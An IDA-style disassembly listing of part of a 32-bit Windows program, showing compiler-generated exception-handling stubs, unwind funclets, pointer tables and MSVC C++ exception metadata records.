
SEH_4281A0	proc near		; DATA XREF: sub_4281A0+2o
		mov	eax, offset dword_442BA0
		jmp	sub_437AB8
SEH_4281A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428260	proc near		; DATA XREF: sub_428260+2o
		mov	eax, offset dword_442BD0
		jmp	sub_437AB8
SEH_428260	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428880	proc near		; DATA XREF: sub_428880+2o
		mov	eax, offset dword_442C00
		jmp	sub_437AB8
SEH_428880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428940	proc near		; DATA XREF: sub_428940+2o
		mov	eax, offset dword_442C30
		jmp	sub_437AB8
SEH_428940	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4290B0	proc near		; DATA XREF: sub_4290B0+2o
		mov	eax, offset dword_442C60
		jmp	sub_437AB8
SEH_4290B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CBC8:				; DATA XREF: ___:00442CBCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429120	proc near		; DATA XREF: sub_429120+2o
		mov	eax, offset dword_442C90
		jmp	sub_437AB8
SEH_429120	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CC28:				; DATA XREF: ___:00442D14o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4291E0	proc near		; DATA XREF: sub_4291E0+2o
		mov	eax, offset dword_442CE8
		jmp	sub_437AB8
SEH_4291E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CC88:				; DATA XREF: ___:00442D6Co
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429450	proc near		; DATA XREF: sub_429450+2o
		mov	eax, offset dword_442D40
		jmp	sub_437AB8
SEH_429450	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014BA
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CDB2:				; DATA XREF: ___:004295B8o
		mov	eax, offset dword_442D80
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42ACB0	proc near		; DATA XREF: sub_42ACB0+2o
		mov	eax, offset dword_442E68
		jmp	sub_437AB8
SEH_42ACB0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AD90	proc near		; DATA XREF: sub_42AD90+2o
		mov	eax, offset dword_442E98
		jmp	sub_437AB8
SEH_42AD90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AFF0	proc near		; DATA XREF: sub_42AFF0+2o
		mov	eax, offset dword_442EC8
		jmp	sub_437AB8
SEH_42AFF0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B380	proc near		; DATA XREF: sub_42B380+2o
		mov	eax, offset dword_442EF8
		jmp	sub_437AB8
SEH_42B380	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B440	proc near		; DATA XREF: sub_42B440+8o
		mov	eax, offset dword_442F28
		jmp	sub_437AB8
SEH_42B440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C1B0	proc near		; DATA XREF: sub_42C1B0+5o
		mov	eax, offset dword_442F58
		jmp	sub_437AB8
SEH_42C1B0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43CEB0:				; DATA XREF: ___:0042C2C5o
		mov	eax, offset dword_442FB8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CEC8:				; DATA XREF: ___:00443044o
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C350	proc near		; DATA XREF: sub_42C350+2o
		mov	eax, offset dword_443018
		jmp	sub_437AB8
SEH_42C350	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C530	proc near		; DATA XREF: sub_42C530+2o
		mov	eax, offset dword_443058
		jmp	sub_437AB8
SEH_42C530	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CF28:				; DATA XREF: ___:0042C5D2o
		mov	eax, offset dword_443088
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C770	proc near		; DATA XREF: sub_42C770+2o
		mov	eax, offset dword_4430B8
		jmp	sub_437AB8
SEH_42C770	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4430E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CB70	proc near		; DATA XREF: sub_42CB70+8o
		mov	eax, offset dword_443118
		jmp	sub_437AB8
SEH_42CB70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CE60	proc near		; DATA XREF: sub_42CE60+2o
		mov	eax, offset dword_443148
		jmp	sub_437AB8
SEH_42CE60	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D0A4:				; DATA XREF: ___:0042D158o
		mov	eax, offset dword_4431A0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_435AA0	proc near		; DATA XREF: sub_435AA0+2o
		mov	eax, offset dword_443288
		jmp	sub_437AB8
SEH_435AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D10B:				; DATA XREF: ___:004432ECo
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D116:				; DATA XREF: ___:00435B98o
		mov	eax, offset dword_4432C0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4364D0	proc near		; DATA XREF: sub_4364D0+2o
		mov	eax, offset dword_4432F8
		jmp	sub_437AB8
SEH_4364D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4368D0	proc near		; DATA XREF: sub_4368D0+2o
		mov	eax, offset dword_443328
		jmp	sub_437AB8
SEH_4368D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4369E0	proc near		; DATA XREF: sub_4369E0+8o
		mov	eax, offset dword_443360
		jmp	sub_437AB8
SEH_4369E0	endp

; ---------------------------------------------------------------------------
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db '',0
		align 4
		dd 31Bh	dup(0)
off_43F000	dd offset sub_4017D0	; DATA XREF: sub_403720+3FEo
off_43F004	dd offset byte_437AC0	; DATA XREF: sub_403CC0+2o
off_43F008	dd offset off_402027	; DATA XREF: sub_406BF0+2o sub_406C50o
off_43F00C	dd offset sub_40221B	; DATA XREF: ___:004070C5o
off_43F010	dd offset loc_40218F	; DATA XREF: sub_409BC0+4o
					; sub_409C20+Bo ...
off_43F014	dd offset loc_402045	; DATA XREF: sub_40AEA0+2o
					; sub_40AEF0+1Co
		dd offset byte_437AC0
		align 10h
off_43F020	dd offset loc_401AE1	; DATA XREF: ___:0040B1F8o
					; sub_40B250+1Eo
flt_43F024	dd 1.0			; DATA XREF: ___:0040B8A6r
off_43F028	dd offset sub_401A4B	; DATA XREF: sub_40F6D0+157o
					; sub_40FE70+1Do
		dd offset sub_402149
		dd 0
off_43F034	dd offset sub_401ACD	; DATA XREF: sub_40F6D0+142o
					; sub_40FE70+23o
off_43F038	dd offset loc_40115E	; DATA XREF: sub_411930+36o
					; sub_4119E0+1Do
		dd offset loc_402004
		dd 0
off_43F044	dd offset sub_4014C9	; DATA XREF: ___:0041325Do
					; sub_4132F0+1Fo
		dd offset sub_401D0C
		align 10h
off_43F050	dd offset sub_4019CE	; DATA XREF: sub_416D00+6o
					; sub_417EF0+8o
		dd offset sub_4020C7
		dd 0
off_43F05C	dd offset loc_401CAD	; DATA XREF: sub_416D60+6o
					; sub_417F20+8o
		dd offset sub_401230
		align 8
off_43F068	dd offset loc_401929	; DATA XREF: sub_416DC0o sub_41FCD0+8o
		dd offset sub_401CF3
		dd 0
off_43F074	dd offset sub_40111D	; DATA XREF: sub_416E10o
					; sub_4191B0+36o
off_43F078	dd offset loc_4014AB	; DATA XREF: sub_417CC0+68o
off_43F07C	dd offset sub_401064	; DATA XREF: sub_417D60+8Bo
off_43F080	dd offset sub_40138E	; DATA XREF: sub_417E30+74o
off_43F084	dd offset loc_401B81	; DATA XREF: sub_417F50+7Bo
off_43F088	dd offset loc_40204A	; DATA XREF: sub_418010+7Bo
off_43F08C	dd offset loc_401F3C	; DATA XREF: sub_4180D0+3Eo
off_43F090	dd offset sub_401FE1	; DATA XREF: sub_418150+8o
off_43F094	dd offset loc_401FF5	; DATA XREF: sub_418180+3Eo
off_43F098	dd offset sub_401E6A	; DATA XREF: sub_418200+3Eo
off_43F09C	dd offset loc_40100A	; DATA XREF: sub_418280+10o
off_43F0A0	dd offset loc_4010B4	; DATA XREF: sub_4182B0+4Bo
off_43F0A4	dd offset sub_401BB8	; DATA XREF: sub_418330+10o
off_43F0A8	dd offset sub_40171C	; DATA XREF: sub_418360+10o
off_43F0AC	dd offset sub_40161D	; DATA XREF: sub_418390+6Bo
dbl_43F0B0	dq -3.0517578125e-5	; DATA XREF: sub_4199C0+22r
		dd 0
off_43F0BC	dd offset sub_401B09	; DATA XREF: sub_41A110+Bo
					; sub_41A210+6o
off_43F0C0	dd offset sub_401E92	; DATA XREF: sub_41B0E0+Do sub_41B140o
off_43F0C4	dd offset sub_401406	; DATA XREF: ___:0041B4A2o
					; ___:0041B58Do
		dd offset sub_401686
		align 10h
off_43F0D0	dd offset loc_4019F6	; DATA XREF: sub_41D770+77o
					; sub_41D860+1Do
		dd offset sub_401C94
		dd 0
off_43F0DC	dd offset sub_4011FE	; DATA XREF: sub_427740+32o
		dd offset sub_401A78
		dd offset sub_401A50
		dd 0
off_43F0EC	dd offset loc_4016DB	; DATA XREF: sub_4277B0+6Ao
					; sub_427850+1Do
		dd offset sub_401A78
		dd offset byte_437AC0
		dd 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Ah,	40h, 0
		dd offset sub_401A78
		dd offset sub_401366
		dd 0
off_43F10C	dd offset sub_40182A	; DATA XREF: sub_4281A0+32o
		dd offset sub_401A78
		dd offset sub_401EB0
		dd 0
off_43F11C	dd offset sub_40224D	; DATA XREF: sub_428880+32o
		dd offset sub_401A78
		dd offset sub_401A14
		dd 0
off_43F12C	dd offset sub_401C3F	; DATA XREF: sub_4290B0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4015B9
		dd 0
off_43F13C	dd offset loc_402086	; DATA XREF: sub_429120+7Ao
					; sub_4291E0+1Do
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset byte_437AC0
		dd 0
off_43F14C	dd offset sub_4021D5	; DATA XREF: sub_429450+4Bo
					; sub_429540+10o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_401D3E
		dd 0
off_43F15C	dd offset loc_40112C	; DATA XREF: sub_42ACB0+32o
					; sub_42AD50+9o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40137A
		dd 0
off_43F16C	dd offset loc_401B18	; DATA XREF: sub_42AFF0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4010AF
		dd 0
off_43F17C	dd offset sub_4017B2	; DATA XREF: sub_42B380+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40189D
		dd 0
off_43F18C	dd offset sub_4020EF	; DATA XREF: sub_42C4C0+27o
dword_43F190	dd 0				dd 8, 0
off_43F19C	dd offset byte_437AC0	; DATA XREF: sub_42C530+39o
off_43F1A0	dd offset sub_401F5F	; DATA XREF: ___:0042C602o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_40134D
		align 10h
off_43F1B0	dd offset sub_401B36	; DATA XREF: sub_42C770+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_401537
		align 10h
		dd offset loc_4015FA
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4019F1
		align 10h
		dd offset dword_43F348
off_43F1D4	dd offset loc_437B00+1	; DATA XREF: ___:off_444898o
					; ___:off_4448B8o ...
		dd 0FFFFFFFFh, 437E9Ch,	437EB0h, 4Dh dup(0)
off_43F318	dd offset off_448C90	; DATA XREF: ___:0043F330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43F318
		dd 0
		db    0			; DATA XREF: ___:0043F358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43F330h
dword_43F348	dd 3 dup(0)			dd offset off_448C90
		dd offset unk_43F338
		dd 45h dup(0)
dword_43F470	dd 19930520h, 5, 43F490h, 5 dup(0)		dd 0FFFFFFFFh, 438E1Ch,	0
		dd offset dword_4382CC+0B24h
		dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0)
dword_43F4C0	dd 19930520h, 3Dh, 43F4E0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0
		dd offset loc_438E6B
		dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh
		dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah
		dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h,	0Dh, 438F1Eh, 0Eh
		dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h,	11h, 438F56h, 12h
		dd 438F64h, 13h, 438F72h, 14h, 438F80h,	15h, 438F8Eh, 16h
		dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h,	19h, 438FC6h, 1Ah
		dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h,	1Dh, 438FFEh, 1Eh
		dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h,	21h, 439036h, 22h
		dd 439044h, 23h, 439052h, 24h, 439060h,	25h, 43906Eh, 26h
		dd 43907Ch, 27h, 43908Ah, 28h, 439098h,	29h, 4390A6h, 2Ah
		dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h,	2Dh, 4390DEh, 2Eh
		dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h,	31h, 439116h, 32h
		dd 439124h, 33h, 439132h, 34h, 439140h,	35h, 43914Eh, 36h
		dd 43915Ch, 37h, 43916Ah, 38h, 439178h,	39h, 439186h, 3Ah
		dd 439194h, 3Bh, 4391A2h, 0Eh dup(0)
dword_43F700	dd 19930520h, 1, 43F720h, 5 dup(0)		dd 0FFFFFFFFh, 439290h,	2 dup(0)
dword_43F730	dd 19930520h, 2, 43F750h, 5 dup(0)		dd 0FFFFFFFFh, 4392B0h,	0
		dd offset loc_4392B8
		dd 2 dup(0)
dword_43F768	dd 19930520h, 2, 43F788h, 5 dup(0)		dd 0FFFFFFFFh, 4392E0h,	0
		dd offset loc_4392E8
		align 10h
dword_43F7A0	dd 19930520h, 1, 43F7C0h, 5 dup(0)		dd 0FFFFFFFFh, 439310h,	2 dup(0)
dword_43F7D0	dd 19930520h, 7, 43F7F0h, 5 dup(0)		dd 0FFFFFFFFh, 439330h,	0
		dd offset loc_439338
		dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh
		dd 2 dup(0)
dword_43F830	dd 19930520h, 7, 43F850h, 5 dup(0)		dd 0FFFFFFFFh, 4393B0h,	0
		dd offset loc_4393B8
		dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh
		dd 2 dup(0)
dword_43F890	dd 19930520h, 11h, 43F8B0h, 5 dup(0)		dd 0FFFFFFFFh, 439430h,	0FFFFFFFFh, 439438h, 0FFFFFFFFh
		dd 439440h, 0FFFFFFFFh,	439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh
		dd 439458h, 0FFFFFFFFh,	439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh
		dd 439470h, 0FFFFFFFFh,	439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh
		dd 439488h, 0FFFFFFFFh,	439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh
		dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h,	4 dup(0)
dword_43F948	dd 19930520h, 0Bh, 43F968h, 5 dup(0)		dd 0FFFFFFFFh, 4394F0h,	0
		dd offset loc_4394F8
		dd 0FFFFFFFFh, 439500h,	2, 439508h, 0FFFFFFFFh,	439510h
		dd 0FFFFFFFFh, 439518h,	0FFFFFFFFh, 439520h, 0FFFFFFFFh
		dd 439528h, 7, 439533h,	7, 43953Bh, 9, 439543h,	4 dup(0)
dword_43F9D0	dd 19930520h, 31h, 43F9F0h, 5 dup(0)		dd 0FFFFFFFFh, 439570h,	0
		dd offset loc_43957B
		dd 0
		dd offset loc_439586
		dd 0FFFFFFFFh, 439591h,	0FFFFFFFFh, 43959Ch, 4,	4395A7h
		dd 0FFFFFFFFh, 4395B2h,	6, 4395BDh, 6, 4395C8h,	8, 4395D3h
		dd 0FFFFFFFFh, 4395DEh,	0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah
		dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h,	0Ah, 439620h, 0FFFFFFFFh
		dd 43962Bh, 11h, 439636h, 11h, 439641h,	0FFFFFFFFh, 43964Ch
		dd 0FFFFFFFFh, 439657h,	15h, 439662h, 0FFFFFFFFh, 43966Dh
		dd 0FFFFFFFFh, 439678h,	18h, 439683h, 0FFFFFFFFh, 43968Eh
		dd 0FFFFFFFFh, 439699h,	0FFFFFFFFh, 4396A4h, 0FFFFFFFFh
		dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h,	1Dh, 4396D0h, 1Dh
		dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h,	22h, 4396FCh, 22h
		dd 439707h, 22h, 439712h, 22h, 43971Dh,	22h, 439728h, 22h
		dd 439733h, 22h, 43973Eh, 22h, 439749h,	22h, 439754h, 22h
		dd 43975Fh, 22h, 43976Ah, 22h, 439775h,	22h, 439780h, 0Ch dup(0)
dword_43FBA8	dd 19930520h, 2, 43FBC8h, 5 dup(0)		dd 0FFFFFFFFh, 439828h,	0
		dd offset loc_439820
		align 10h
dword_43FBE0	dd 19930520h, 2, 43FC00h, 5 dup(0)		dd 0FFFFFFFFh, 43986Bh,	0
		dd offset loc_439860
		dd 2 dup(0)
dword_43FC18	dd 19930520h, 3, 43FC38h, 5 dup(0)		dd 0FFFFFFFFh, 4398A0h,	0
		dd offset loc_4398AB
		dd 0
		dd offset loc_4398B6
		dd 2 dup(0)
dword_43FC58	dd 19930520h, 1, 43FC78h, 5 dup(0)		dd 0FFFFFFFFh, 4398E0h,	2 dup(0)
dword_43FC88	dd 19930520h, 1, 43FCA8h, 5 dup(0)		dd 0FFFFFFFFh, 439900h,	2 dup(0)
